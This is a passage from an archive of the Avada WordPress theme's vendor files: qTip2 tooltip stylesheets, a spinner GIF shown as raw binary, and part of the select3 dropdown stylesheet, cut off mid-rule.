-moz-linear-gradient(top, #3A79B8, #2E629D); background-image: -ms-linear-gradient(top, #3A79B8, #2E629D); background-image: -o-linear-gradient(top, #3A79B8, #2E629D); filter:progid:DXImageTransform.Microsoft.gradient(startColorstr=#3A79B8,endColorstr=#2E629D); -ms-filter: "progid:DXImageTransform.Microsoft.gradient(startColorstr=#3A79B8,endColorstr=#2E629D)"; } .qtip-tipped .qtip-icon{ border: 2px solid #285589; background: #285589; } .qtip-tipped .qtip-icon .ui-icon{ background-color: #FBFBFB; color: #555; } /** * Twitter Bootstrap style. * * Tested with IE 8, IE 9, Chrome 18, Firefox 9, Opera 11. * Does not work with IE 7. */ .qtip-bootstrap{ /** Taken from Bootstrap body */ font-size: 14px; line-height: 20px; color: #333333; /** Taken from Bootstrap .popover */ padding: 1px; background-color: #ffffff; border: 1px solid #ccc; border: 1px solid rgba(0, 0, 0, 0.2); -webkit-border-radius: 6px; -moz-border-radius: 6px; border-radius: 6px; -webkit-box-shadow: 0 5px 10px rgba(0, 0, 0, 0.2); -moz-box-shadow: 0 5px 10px rgba(0, 0, 0, 0.2); box-shadow: 0 5px 10px rgba(0, 0, 0, 0.2); -webkit-background-clip: padding-box; -moz-background-clip: padding; background-clip: padding-box; } .qtip-bootstrap .qtip-titlebar{ /** Taken from Bootstrap .popover-title */ padding: 8px 14px; margin: 0; font-size: 14px; font-weight: normal; line-height: 18px; background-color: #f7f7f7; border-bottom: 1px solid #ebebeb; -webkit-border-radius: 5px 5px 0 0; -moz-border-radius: 5px 5px 0 0; border-radius: 5px 5px 0 0; } .qtip-bootstrap .qtip-titlebar .qtip-close{ /** * Overrides qTip2: * .qtip-titlebar .qtip-close{ * [...] * right: 4px; * top: 50%; * [...] * border-style: solid; * } */ right: 11px; top: 45%; border-style: none; } .qtip-bootstrap .qtip-content{ /** Taken from Bootstrap .popover-content */ padding: 9px 14px; } .qtip-bootstrap .qtip-icon{ /** * Overrides qTip2: * .qtip-default .qtip-icon { * border-color: #CCC; * background: #F1F1F1; * color: #777; * } */ background: transparent; } .qtip-bootstrap .qtip-icon .ui-icon{ /** * Overrides qTip2: * .qtip-icon .ui-icon{ * width: 18px; * height: 14px; * } */ width: auto; height: auto; /* Taken from Bootstrap .close */ float: right; font-size: 20px; font-weight: bold; line-height: 18px; color: #000000; text-shadow: 0 1px 0 #ffffff; opacity: 0.2; filter: alpha(opacity=20); } .qtip-bootstrap .qtip-icon .ui-icon:hover{ /* Taken from Bootstrap .close:hover */ color: #000000; text-decoration: none; cursor: pointer; opacity: 0.4; filter: alpha(opacity=40); } /* IE9 fix - removes all filters */ .qtip:not(.ie9haxors) div.qtip-content, .qtip:not(.ie9haxors) div.qtip-titlebar{ filter: none; -ms-filter: none; } .qtip .qtip-tip{ margin: 0 auto; overflow: hidden; z-index: 10; } /* Opera bug #357 - Incorrect tip position https://github.com/Craga89/qTip2/issues/367 */ x:-o-prefocus, .qtip .qtip-tip{ visibility: hidden; } .qtip .qtip-tip, .qtip .qtip-tip .qtip-vml, .qtip .qtip-tip canvas{ position: absolute; color: #123456; background: transparent; border: 0 dashed transparent; } .qtip .qtip-tip canvas{ top: 0; left: 0; } .qtip .qtip-tip .qtip-vml{ behavior: url(#default#VML); display: inline-block; visibility: visible; } #qtip-overlay{ position: fixed; left: 0; top: 0; width: 100%; height: 100%; } /* Applied to modals with show.modal.blur set to true */ #qtip-overlay.blurs{ cursor: pointer; } /* Change opacity of overlay here */ #qtip-overlay div{ position: absolute; left: 0; top: 0; width: 100%; height: 100%; background-color: black; opacity: 0.7; filter:alpha(opacity=70); -ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=70)"; } .qtipmodal-ie6fix{ position: absolute !important; }Avada/includes/lib/inc/redux/framework/FusionReduxCore/assets/css/vendor/qtip/jquery.qtip.min.css000064400000021545152342437710027267 0ustar00/* qTip2 v2.2.1 | Plugins: tips modal viewport svg imagemap ie6 | Styles: core basic css3 | qtip2.com | Licensed MIT | Sat Sep 06 2014 23:12:07 */ .qtip{position:absolute;left:-28000px;top:-28000px;display:none;max-width:280px;min-width:50px;font-size:10.5px;line-height:12px;direction:ltr;box-shadow:none;padding:0}.qtip-content{position:relative;padding:5px 9px;overflow:hidden;text-align:left;word-wrap:break-word}.qtip-titlebar{position:relative;padding:5px 35px 5px 10px;overflow:hidden;border-width:0 0 1px;font-weight:700}.qtip-titlebar+.qtip-content{border-top-width:0!important}.qtip-close{position:absolute;right:-9px;top:-9px;z-index:11;cursor:pointer;outline:0;border:1px solid transparent}.qtip-titlebar .qtip-close{right:4px;top:50%;margin-top:-9px}* html .qtip-titlebar .qtip-close{top:16px}.qtip-icon .ui-icon,.qtip-titlebar .ui-icon{display:block;text-indent:-1000em;direction:ltr}.qtip-icon,.qtip-icon .ui-icon{-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;text-decoration:none}.qtip-icon .ui-icon{width:18px;height:14px;line-height:14px;text-align:center;text-indent:0;font:400 bold 10px/13px Tahoma,sans-serif;color:inherit;background:-100em -100em no-repeat}.qtip-default{border:1px solid #F1D031;background-color:#FFFFA3;color:#555}.qtip-default .qtip-titlebar{background-color:#FFEF93}.qtip-default .qtip-icon{border-color:#CCC;background:#F1F1F1;color:#777}.qtip-default .qtip-titlebar .qtip-close{border-color:#AAA;color:#111}.qtip-light{background-color:#fff;border-color:#E2E2E2;color:#454545}.qtip-light .qtip-titlebar{background-color:#f1f1f1}.qtip-dark{background-color:#505050;border-color:#303030;color:#f3f3f3}.qtip-dark .qtip-titlebar{background-color:#404040}.qtip-dark .qtip-icon{border-color:#444}.qtip-dark .qtip-titlebar .ui-state-hover{border-color:#303030}.qtip-cream{background-color:#FBF7AA;border-color:#F9E98E;color:#A27D35}.qtip-cream .qtip-titlebar{background-color:#F0DE7D}.qtip-cream .qtip-close .qtip-icon{background-position:-82px 0}.qtip-red{background-color:#F78B83;border-color:#D95252;color:#912323}.qtip-red .qtip-titlebar{background-color:#F06D65}.qtip-red .qtip-close .qtip-icon{background-position:-102px 0}.qtip-red .qtip-icon,.qtip-red .qtip-titlebar .ui-state-hover{border-color:#D95252}.qtip-green{background-color:#CAED9E;border-color:#90D93F;color:#3F6219}.qtip-green .qtip-titlebar{background-color:#B0DE78}.qtip-green .qtip-close .qtip-icon{background-position:-42px 0}.qtip-blue{background-color:#E5F6FE;border-color:#ADD9ED;color:#5E99BD}.qtip-blue .qtip-titlebar{background-color:#D0E9F5}.qtip-blue .qtip-close .qtip-icon{background-position:-2px 0}.qtip-shadow{-webkit-box-shadow:1px 1px 3px 1px rgba(0,0,0,.15);-moz-box-shadow:1px 1px 3px 1px rgba(0,0,0,.15);box-shadow:1px 1px 3px 1px rgba(0,0,0,.15)}.qtip-bootstrap,.qtip-rounded,.qtip-tipsy{-moz-border-radius:5px;-webkit-border-radius:5px;border-radius:5px}.qtip-rounded .qtip-titlebar{-moz-border-radius:4px 4px 0 0;-webkit-border-radius:4px 4px 0 0;border-radius:4px 4px 0 0}.qtip-youtube{-moz-border-radius:2px;-webkit-border-radius:2px;border-radius:2px;-webkit-box-shadow:0 0 3px #333;-moz-box-shadow:0 0 3px #333;box-shadow:0 0 3px #333;color:#fff;border:0 solid transparent;background:#4A4A4A;background-image:-webkit-gradient(linear,left top,left bottom,color-stop(0,#4A4A4A),color-stop(100%,#000));background-image:-webkit-linear-gradient(top,#4A4A4A 0,#000 100%);background-image:-moz-linear-gradient(top,#4A4A4A 0,#000 100%);background-image:-ms-linear-gradient(top,#4A4A4A 0,#000 100%);background-image:-o-linear-gradient(top,#4A4A4A 0,#000 100%)}.qtip-youtube .qtip-titlebar{background-color:transparent}.qtip-youtube .qtip-content{padding:.75em;font:12px arial,sans-serif;filter:progid:DXImageTransform.Microsoft.Gradient(GradientType=0, StartColorStr=#4a4a4a, EndColorStr=#000000);-ms-filter:"progid:DXImageTransform.Microsoft.Gradient(GradientType=0,StartColorStr=#4a4a4a,EndColorStr=#000000);"}.qtip-youtube .qtip-icon{border-color:#222}.qtip-youtube .qtip-titlebar .ui-state-hover{border-color:#303030}.qtip-jtools{background:#232323;background:rgba(0,0,0,.7);background-image:-webkit-gradient(linear,left top,left bottom,from(#717171),to(#232323));background-image:-moz-linear-gradient(top,#717171,#232323);background-image:-webkit-linear-gradient(top,#717171,#232323);background-image:-ms-linear-gradient(top,#717171,#232323);background-image:-o-linear-gradient(top,#717171,#232323);border:2px solid #ddd;border:2px solid rgba(241,241,241,1);-moz-border-radius:2px;-webkit-border-radius:2px;border-radius:2px;-webkit-box-shadow:0 0 12px #333;-moz-box-shadow:0 0 12px #333;box-shadow:0 0 12px #333}.qtip-jtools .qtip-titlebar{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr=#717171, endColorstr=#4A4A4A);-ms-filter:"progid:DXImageTransform.Microsoft.gradient(startColorstr=#717171,endColorstr=#4A4A4A)"}.qtip-jtools .qtip-content{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr=#4A4A4A, endColorstr=#232323);-ms-filter:"progid:DXImageTransform.Microsoft.gradient(startColorstr=#4A4A4A,endColorstr=#232323)"}.qtip-jtools .qtip-content,.qtip-jtools .qtip-titlebar{background:0 0;color:#fff;border:0 dashed transparent}.qtip-jtools .qtip-icon{border-color:#555}.qtip-jtools .qtip-titlebar .ui-state-hover{border-color:#333}.qtip-cluetip{-webkit-box-shadow:4px 4px 5px rgba(0,0,0,.4);-moz-box-shadow:4px 4px 5px rgba(0,0,0,.4);box-shadow:4px 4px 5px rgba(0,0,0,.4);background-color:#D9D9C2;color:#111;border:0 dashed transparent}.qtip-cluetip .qtip-titlebar{background-color:#87876A;color:#fff;border:0 dashed transparent}.qtip-cluetip .qtip-icon{border-color:#808064}.qtip-cluetip .qtip-titlebar .ui-state-hover{border-color:#696952;color:#696952}.qtip-tipsy{background:#000;background:rgba(0,0,0,.87);color:#fff;border:0 solid transparent;font-size:11px;font-family:'Lucida Grande',sans-serif;font-weight:700;line-height:16px;text-shadow:0 1px #000}.qtip-tipsy .qtip-titlebar{padding:6px 35px 0 10px;background-color:transparent}.qtip-tipsy .qtip-content{padding:6px 10px}.qtip-tipsy .qtip-icon{border-color:#222;text-shadow:none}.qtip-tipsy .qtip-titlebar .ui-state-hover{border-color:#303030}.qtip-tipped{border:3px solid #959FA9;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;background-color:#F9F9F9;color:#454545;font-weight:400;font-family:serif}.qtip-tipped .qtip-titlebar{border-bottom-width:0;color:#fff;background:#3A79B8;background-image:-webkit-gradient(linear,left top,left bottom,from(#3A79B8),to(#2E629D));background-image:-webkit-linear-gradient(top,#3A79B8,#2E629D);background-image:-moz-linear-gradient(top,#3A79B8,#2E629D);background-image:-ms-linear-gradient(top,#3A79B8,#2E629D);background-image:-o-linear-gradient(top,#3A79B8,#2E629D);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr=#3A79B8, endColorstr=#2E629D);-ms-filter:"progid:DXImageTransform.Microsoft.gradient(startColorstr=#3A79B8,endColorstr=#2E629D)"}.qtip-tipped .qtip-icon{border:2px solid #285589;background:#285589}.qtip-tipped .qtip-icon .ui-icon{background-color:#FBFBFB;color:#555}.qtip-bootstrap{font-size:14px;line-height:20px;color:#333;padding:1px;background-color:#fff;border:1px solid #ccc;border:1px solid rgba(0,0,0,.2);-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px;-webkit-box-shadow:0 5px 10px rgba(0,0,0,.2);-moz-box-shadow:0 5px 10px rgba(0,0,0,.2);box-shadow:0 5px 10px rgba(0,0,0,.2);-webkit-background-clip:padding-box;-moz-background-clip:padding;background-clip:padding-box}.qtip-bootstrap .qtip-titlebar{padding:8px 14px;margin:0;font-size:14px;font-weight:400;line-height:18px;background-color:#f7f7f7;border-bottom:1px solid #ebebeb;-webkit-border-radius:5px 5px 0 0;-moz-border-radius:5px 5px 0 0;border-radius:5px 5px 0 0}.qtip-bootstrap .qtip-titlebar .qtip-close{right:11px;top:45%;border-style:none}.qtip-bootstrap .qtip-content{padding:9px 14px}.qtip-bootstrap .qtip-icon{background:0 0}.qtip-bootstrap .qtip-icon .ui-icon{width:auto;height:auto;float:right;font-size:20px;font-weight:700;line-height:18px;color:#000;text-shadow:0 1px 0 #fff;opacity:.2;filter:alpha(opacity=20)}.qtip-bootstrap .qtip-icon .ui-icon:hover{color:#000;text-decoration:none;cursor:pointer;opacity:.4;filter:alpha(opacity=40)}.qtip:not(.ie9haxors) div.qtip-content,.qtip:not(.ie9haxors) div.qtip-titlebar{filter:none;-ms-filter:none}.qtip .qtip-tip{margin:0 auto;overflow:hidden;z-index:10}.qtip .qtip-tip,x:-o-prefocus{visibility:hidden}.qtip .qtip-tip,.qtip .qtip-tip .qtip-vml,.qtip .qtip-tip canvas{position:absolute;color:#123456;background:0 0;border:0 dashed transparent}.qtip .qtip-tip canvas{top:0;left:0}.qtip .qtip-tip .qtip-vml{behavior:url(#default#VML);display:inline-block;visibility:visible}#qtip-overlay{position:fixed;left:0;top:0;width:100%;height:100%}#qtip-overlay.blurs{cursor:pointer}#qtip-overlay div{position:absolute;left:0;top:0;width:100%;height:100%;background-color:#000;opacity:.7;filter:alpha(opacity=70);-ms-filter:"alpha(Opacity=70)"}.qtipmodal-ie6fix{position:absolute!important}Avada/includes/lib/inc/redux/framework/FusionReduxCore/assets/css/vendor/select3-spinner.gif000064400000003471152342437710026226 0ustar00GIF89aFFFzzzXXX$$$666hhh! NETSCAPE2.0!Created with ajaxload.info! ,w  !DBAH¬aD@ ^AXP@"UQ# B\; 1 o:2$v@ $|,3 _# d53" s5 e!! ,v i@e9DAA/`ph$Ca%@ pHxFuSx# .݄YfL_" p 3BW ]|L \6{|z87[7!! ,x  e9DE"2r,qPj`8@8bH, *0- mFW9LPE3+ (B"  f{*BW_/ @_$~Kr7Ar7!! ,v 4e9!H"* Q/@-4ép4R+-pȧ`P(6᠝U/  *,)(+/]"lO/*Ak K]A~666!! ,l ie9"* -80H=N; TEqe UoK2_WZ݌V1jgWe@tuH//w`?f~#6#!! ,~ ,e9"* ; pR%#0` 'c(J@@/1i4`VBV u}"caNi/ ] ))-Lel  mi} me[+!! ,y Ie9"M6*¨"7E͖@G((L&pqj@Z %@wZ) pl( ԭqu*R&c `))( s_J>_\'Gm7$+!! ,w Ie9*, (*(B5[1 ZIah!GexzJ0e6@V|U4Dm%$͛p \Gx }@+| =+ 1- Ea5l)+!! ,y )䨞'AKڍ,E\(l&;5 5D03a0--ÃpH4V % i p[R"| #  6iZwcw*!! ,y )䨞,K*0 a;׋аY8b`4n ¨Bbbx,( Ƚ  % >  2*i* /:+$v*!! ,u )䨞l[$ Jq[q 3`Q[5:IX!0rAD8 CvHPfiiQAP@pC %D PQ46  iciNj0w )#!! ,y ). q ,G Jr(J8 C*B,&< h W~-`, ,>; 8RN<, <1T] c' qk$ @)#!;Avada/includes/lib/inc/redux/framework/FusionReduxCore/assets/css/vendor/select3.css000064400000046001152342437710024571 0ustar00/* Version: 3.5.2 Timestamp: Sat Nov 1 14:43:36 EDT 2014 */ .select3-container { margin: 0; position: relative; display: inline-block; /* inline-block for ie7 */ zoom: 1; *display: inline; vertical-align: middle; } .select3-container, .select3-drop, .select3-search, .select3-search input { /* Force border-box so that % widths fit the parent container without overlap because of margin/padding. More Info : http://www.quirksmode.org/css/box.html */ -webkit-box-sizing: border-box; /* webkit */ -moz-box-sizing: border-box; /* firefox */ box-sizing: border-box; /* css3 */ } .select3-container .select3-choice { display: block; height: 26px; padding: 0 0 0 8px; overflow: hidden; position: relative; border: 1px solid #aaa; white-space: nowrap; line-height: 26px; color: #444; text-decoration: none; border-radius: 4px; background-clip: padding-box; -webkit-touch-callout: none; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; background-color: #fff; background-image: -webkit-gradient(linear, left bottom, left top, color-stop(0, #eee), color-stop(0.5, #fff)); background-image: -webkit-linear-gradient(center bottom, #eee 0%, #fff 50%); background-image: -moz-linear-gradient(center bottom, #eee 0%, #fff 50%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr = '#ffffff', endColorstr = '#eeeeee', GradientType = 0); background-image: linear-gradient(to top, #eee 0%, #fff 50%); } html[dir="rtl"] .select3-container .select3-choice { padding: 0 8px 0 0; } .select3-container.select3-drop-above .select3-choice { border-bottom-color: #aaa; border-radius: 0 0 4px 4px; background-image: -webkit-gradient(linear, left bottom, left top, color-stop(0, #eee), color-stop(0.9, #fff)); background-image: -webkit-linear-gradient(center bottom, #eee 0%, #fff 90%); background-image: -moz-linear-gradient(center bottom, #eee 0%, #fff 90%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#eeeeee', GradientType=0); background-image: linear-gradient(to bottom, #eee 0%, #fff 90%); } .select3-container.select3-allowclear .select3-choice .select3-chosen { margin-right: 42px; } .select3-container .select3-choice > .select3-chosen { margin-right: 26px; display: block; overflow: hidden; white-space: nowrap; text-overflow: ellipsis; float: none; width: auto; } html[dir="rtl"] .select3-container .select3-choice > .select3-chosen { margin-left: 26px; margin-right: 0; } .select3-container .select3-choice abbr { display: none; width: 12px; height: 12px; position: absolute; right: 24px; top: 8px; font-size: 1px; text-decoration: none; border: 0; background: url('select3.png') right top no-repeat; cursor: pointer; outline: 0; } .select3-container.select3-allowclear .select3-choice abbr { display: inline-block; } .select3-container .select3-choice abbr:hover { background-position: right -11px; cursor: pointer; } .select3-drop-mask { border: 0; margin: 0; padding: 0; position: fixed; left: 0; top: 0; min-height: 100%; min-width: 100%; height: auto; width: auto; opacity: 0; z-index: 9998; /* styles required for IE to work */ background-color: #fff; filter: alpha(opacity=0); } .select3-drop { width: 100%; margin-top: -1px; position: absolute; z-index: 9999; top: 100%; background: #fff; color: #000; border: 1px solid #aaa; border-top: 0; border-radius: 0 0 4px 4px; -webkit-box-shadow: 0 4px 5px rgba(0, 0, 0, .15); box-shadow: 0 4px 5px rgba(0, 0, 0, .15); } .select3-drop.select3-drop-above { margin-top: 1px; border-top: 1px solid #aaa; border-bottom: 0; border-radius: 4px 4px 0 0; -webkit-box-shadow: 0 -4px 5px rgba(0, 0, 0, .15); box-shadow: 0 -4px 5px rgba(0, 0, 0, .15); } .select3-drop-active { border: 1px solid #5897fb; border-top: none; } .select3-drop.select3-drop-above.select3-drop-active { border-top: 1px solid #5897fb; } .select3-drop-auto-width { border-top: 1px solid #aaa; width: auto; } .select3-drop-auto-width .select3-search { padding-top: 4px; } .select3-container .select3-choice .select3-arrow { display: inline-block; width: 18px; height: 100%; position: absolute; right: 0; top: 0; border-left: 1px solid #aaa; border-radius: 0 4px 4px 0; background-clip: padding-box; background: #ccc; background-image: -webkit-gradient(linear, left bottom, left top, color-stop(0, #ccc), color-stop(0.6, #eee)); background-image: -webkit-linear-gradient(center bottom, #ccc 0%, #eee 60%); background-image: -moz-linear-gradient(center bottom, #ccc 0%, #eee 60%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr = '#eeeeee', endColorstr = '#cccccc', GradientType = 0); background-image: linear-gradient(to top, #ccc 0%, #eee 60%); } html[dir="rtl"] .select3-container .select3-choice .select3-arrow { left: 0; right: auto; border-left: none; border-right: 1px solid #aaa; border-radius: 4px 0 0 4px; } .select3-container .select3-choice .select3-arrow b { display: block; width: 100%; height: 100%; background: url('select3.png') no-repeat 0 1px; } html[dir="rtl"] .select3-container .select3-choice .select3-arrow b { background-position: 2px 1px; } .select3-search { display: inline-block; width: 100%; min-height: 26px; margin: 0; padding-left: 4px; padding-right: 4px; position: relative; z-index: 10000; white-space: nowrap; } .select3-search input { width: 100%; height: auto !important; min-height: 26px; padding: 4px 20px 4px 5px; margin: 0; outline: 0; font-family: sans-serif; font-size: 1em; border: 1px solid #aaa; border-radius: 0; -webkit-box-shadow: none; box-shadow: none; background: #fff url('select3.png') no-repeat 100% -22px; background: url('select3.png') no-repeat 100% -22px, -webkit-gradient(linear, left bottom, left top, color-stop(0.85, #fff), color-stop(0.99, #eee)); background: url('select3.png') no-repeat 100% -22px, -webkit-linear-gradient(center bottom, #fff 85%, #eee 99%); background: url('select3.png') no-repeat 100% -22px, -moz-linear-gradient(center bottom, #fff 85%, #eee 99%); background: url('select3.png') no-repeat 100% -22px, linear-gradient(to bottom, #fff 85%, #eee 99%) 0 0; } html[dir="rtl"] .select3-search input { padding: 4px 5px 4px 20px; background: #fff url('select3.png') no-repeat -37px -22px; background: url('select3.png') no-repeat -37px -22px, -webkit-gradient(linear, left bottom, left top, color-stop(0.85, #fff), color-stop(0.99, #eee)); background: url('select3.png') no-repeat -37px -22px, -webkit-linear-gradient(center bottom, #fff 85%, #eee 99%); background: url('select3.png') no-repeat -37px -22px, -moz-linear-gradient(center bottom, #fff 85%, #eee 99%); background: url('select3.png') no-repeat -37px -22px, linear-gradient(to bottom, #fff 85%, #eee 99%) 0 0; } .select3-drop.select3-drop-above .select3-search input { margin-top: 4px; } .select3-search input.select3-active { background: #fff url('select3-spinner.gif') no-repeat 100%; background: url('select3-spinner.gif') no-repeat 100%, -webkit-gradient(linear, left bottom, left top, color-stop(0.85, #fff), color-stop(0.99, #eee)); background: url('select3-spinner.gif') no-repeat 100%, -webkit-linear-gradient(center bottom, #fff 85%, #eee 99%); background: url('select3-spinner.gif') no-repeat 100%, -moz-linear-gradient(center bottom, #fff 85%, #eee 99%); background: url('select3-spinner.gif') no-repeat 100%, linear-gradient(to bottom, #fff 85%, #eee 99%) 0 0; } .select3-container-active .select3-choice, .select3-container-active .select3-choices { border: 1px solid #5897fb; outline: none; -webkit-box-shadow: 0 0 5px rgba(0, 0, 0, .3); box-shadow: 0 0 5px rgba(0, 0, 0, .3); } .select3-dropdown-open .select3-choice { border-bottom-color: transparent; -webkit-box-shadow: 0 1px 0 #fff inset; box-shadow: 0 1px 0 #fff inset; border-bottom-left-radius: 0; border-bottom-right-radius: 0; background-color: #eee; background-image: -webkit-gradient(linear, left bottom, left top, color-stop(0, #fff), color-stop(0.5, #eee)); background-image: -webkit-linear-gradient(center bottom, #fff 0%, #eee 50%); background-image: -moz-linear-gradient(center bottom, #fff 0%, #eee 50%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#eeeeee', endColorstr='#ffffff', GradientType=0); background-image: linear-gradient(to top, #fff 0%, #eee 50%); } .select3-dropdown-open.select3-drop-above .select3-choice, .select3-dropdown-open.select3-drop-above .select3-choices { border: 1px solid #5897fb; border-top-color: transparent; background-image: -webkit-gradient(linear, left top, left bottom, color-stop(0, #fff), color-stop(0.5, #eee)); background-image: -webkit-linear-gradient(center top, #fff 0%, #eee 50%); background-image: -moz-linear-gradient(center top, #fff 0%, #eee 50%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#eeeeee', endColorstr='#ffffff', GradientType=0); background-image: linear-gradient(to bottom, #fff 0%, #eee 50%); } .select3-dropdown-open .select3-choice .select3-arrow { background: transparent; border-left: none; filter: none; } html[dir="rtl"] .select3-dropdown-open .select3-choice .select3-arrow { border-right: none; } .select3-dropdown-open .select3-choice .select3-arrow b { background-position: -18px 1px; } html[dir="rtl"] .select3-dropdown-open .select3-choice .select3-arrow b { background-position: -16px 1px; } .select3-hidden-accessible { border: 0; clip: rect(0 0 0 0); height: 1px; margin: -1px; overflow: hidden; padding: 0; position: absolute; width: 1px; } /* results */ .select3-results { max-height: 200px; padding: 0 0 0 4px; margin: 4px 4px 4px 0; position: relative; overflow-x: hidden; overflow-y: auto; -webkit-tap-highlight-color: rgba(0, 0, 0, 0); } html[dir="rtl"] .select3-results { padding: 0 4px 0 0; margin: 4px 0 4px 4px; } .select3-results ul.select3-result-sub { margin: 0; padding-left: 0; } .select3-results li { list-style: none; display: list-item; background-image: none; } .select3-results li.select3-result-with-children > .select3-result-label { font-weight: bold; } .select3-results .select3-result-label { padding: 3px 7px 4px; margin: 0; cursor: pointer; min-height: 1em; -webkit-touch-callout: none; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; } .select3-results-dept-1 .select3-result-label { padding-left: 20px } .select3-results-dept-2 .select3-result-label { padding-left: 40px } .select3-results-dept-3 .select3-result-label { padding-left: 60px } .select3-results-dept-4 .select3-result-label { padding-left: 80px } .select3-results-dept-5 .select3-result-label { padding-left: 100px } .select3-results-dept-6 .select3-result-label { padding-left: 110px } .select3-results-dept-7 .select3-result-label { padding-left: 120px } .select3-results .select3-highlighted { background: #3875d7; color: #fff; } .select3-results li em { background: #feffde; font-style: normal; } .select3-results .select3-highlighted em { background: transparent; } .select3-results .select3-highlighted ul { background: #fff; color: #000; } .select3-results .select3-no-results, .select3-results .select3-searching, .select3-results .select3-ajax-error, .select3-results .select3-selection-limit { background: #f4f4f4; display: list-item; padding-left: 5px; } /* disabled look for disabled choices in the results dropdown */ .select3-results .select3-disabled.select3-highlighted { color: #666; background: #f4f4f4; display: list-item; cursor: default; } .select3-results .select3-disabled { background: #f4f4f4; display: list-item; cursor: default; } .select3-results .select3-selected { display: none; } .select3-more-results.select3-active { background: #f4f4f4 url('select3-spinner.gif') no-repeat 100%; } .select3-results .select3-ajax-error { background: rgba(255, 50, 50, .2); } .select3-more-results { background: #f4f4f4; display: list-item; } /* disabled styles */ .select3-container.select3-container-disabled .select3-choice { background-color: #f4f4f4; background-image: none; border: 1px solid #ddd; cursor: default; } .select3-container.select3-container-disabled .select3-choice .select3-arrow { background-color: #f4f4f4; background-image: none; border-left: 0; } .select3-container.select3-container-disabled .select3-choice abbr { display: none; } /* multiselect */ .select3-container-multi .select3-choices { height: auto !important; height: 1%; margin: 0; padding: 0 5px 0 0; position: relative; border: 1px solid #aaa; cursor: text; overflow: hidden; background-color: #fff; background-image: -webkit-gradient(linear, 0% 0%, 0% 100%, color-stop(1%, #eee), color-stop(15%, #fff)); background-image: -webkit-linear-gradient(top, #eee 1%, #fff 15%); background-image: -moz-linear-gradient(top, #eee 1%, #fff 15%); background-image: linear-gradient(to bottom, #eee 1%, #fff 15%); } html[dir="rtl"] .select3-container-multi .select3-choices { padding: 0 0 0 5px; } .select3-locked { padding: 3px 5px 3px 5px !important; } .select3-container-multi .select3-choices { min-height: 26px; } .select3-container-multi.select3-container-active .select3-choices { border: 1px solid #5897fb; outline: none; -webkit-box-shadow: 0 0 5px rgba(0, 0, 0, .3); box-shadow: 0 0 5px rgba(0, 0, 0, .3); } .select3-container-multi .select3-choices li { float: left; list-style: none; } html[dir="rtl"] .select3-container-multi .select3-choices li { float: right; } .select3-container-multi .select3-choices .select3-search-field { margin: 0; padding: 0; white-space: nowrap; } .select3-container-multi .select3-choices .select3-search-field input { padding: 5px; margin: 1px 0; font-family: sans-serif; font-size: 100%; color: #666; outline: 0; border: 0; -webkit-box-shadow: none; box-shadow: none; background: transparent !important; } .select3-container-multi .select3-choices .select3-search-field input.select3-active { background: #fff url('select3-spinner.gif') no-repeat 100% !important; } .select3-default { color: #999 !important; } .select3-container-multi .select3-choices .select3-search-choice { padding: 3px 5px 3px 18px; margin: 3px 0 3px 5px; position: relative; line-height: 13px; color: #333; cursor: default; border: 1px solid #aaaaaa; border-radius: 3px; -webkit-box-shadow: 0 0 2px #fff inset, 0 1px 0 rgba(0, 0, 0, 0.05); box-shadow: 0 0 2px #fff inset, 0 1px 0 rgba(0, 0, 0, 0.05); background-clip: padding-box; -webkit-touch-callout: none; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; background-color: #e4e4e4; filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#eeeeee', endColorstr='#f4f4f4', GradientType=0); background-image: -webkit-gradient(linear, 0% 0%, 0% 100%, color-stop(20%, #f4f4f4), color-stop(50%, #f0f0f0), color-stop(52%, #e8e8e8), color-stop(100%, #eee)); background-image: -webkit-linear-gradient(top, #f4f4f4 20%, #f0f0f0 50%, #e8e8e8 52%, #eee 100%); background-image: -moz-linear-gradient(top, #f4f4f4 20%, #f0f0f0 50%, #e8e8e8 52%, #eee 100%); background-image: linear-gradient(to bottom, #f4f4f4 20%, #f0f0f0 50%, #e8e8e8 52%, #eee 100%); } html[dir="rtl"] .select3-container-multi .select3-choices .select3-search-choice { margin: 3px 5px 3px 0; padding: 3px 18px 3px 5px; } .select3-container-multi .select3-choices .select3-search-choice .select3-chosen { cursor: default; } .select3-container-multi .select3-choices .select3-search-choice-focus { background: #d4d4d4; } .select3-search-choice-close { display: block; width: 12px; height: 13px; position: absolute; right: 3px; top: 4px; font-size: 1px; outline: none; background: url('select3.png') right top no-repeat; } html[dir="rtl"] .select3-search-choice-close { right: auto; left: 3px; } .select3-container-multi .select3-search-choice-close { left: 3px; } html[dir="rtl"] .select3-container-multi .select3-search-choice-close { left: auto; right: 2px; } .select3-container-multi .select3-choices .select3-search-choice .select3-search-choice-close:hover { background-position: right -11px; } .select3-container-multi .select3-choices .select3-search-choice-focus .select3-search-choice-close { background-position: right -11px; } /* disabled styles */ .select3-container-multi.select3-container-disabled .select3-choices { background-color: #f4f4f4; background-image: none; border: 1px solid #ddd; cursor: default; } .select3-container-multi.select3-container-disabled .select3-choices .select3-search-choice { padding: 3px 5px 3px 5px; border: 1px solid #ddd; background-image: none; background-color: #f4f4f4; } .select3-container-multi.select3-container-disabled .select3-choices .select3-search-choice .select3-search-choice-close { display: none; background: none; } /* end multiselect */ .select3-result-selectable .select3-match, .select3-result-unselectable .select3-match { text-decoration: underline; } .select3-offscreen, .select3-offscreen:focus { clip: rect(0 0 0 0) !important; width: 1px !important; height: 1px !important; border: 0 !important; margin: 0 !important; padding: 0 !important; overflow: hidden !important; position: absolute !important; outline: 0 !important; left: 0px !important; top: 0px !important; } .select3-display-none { display: none; } .select3-measure-scrollbar { position: absolute; top: -10000px; left: -10000px; width: 100px; height: 100px; overflow: 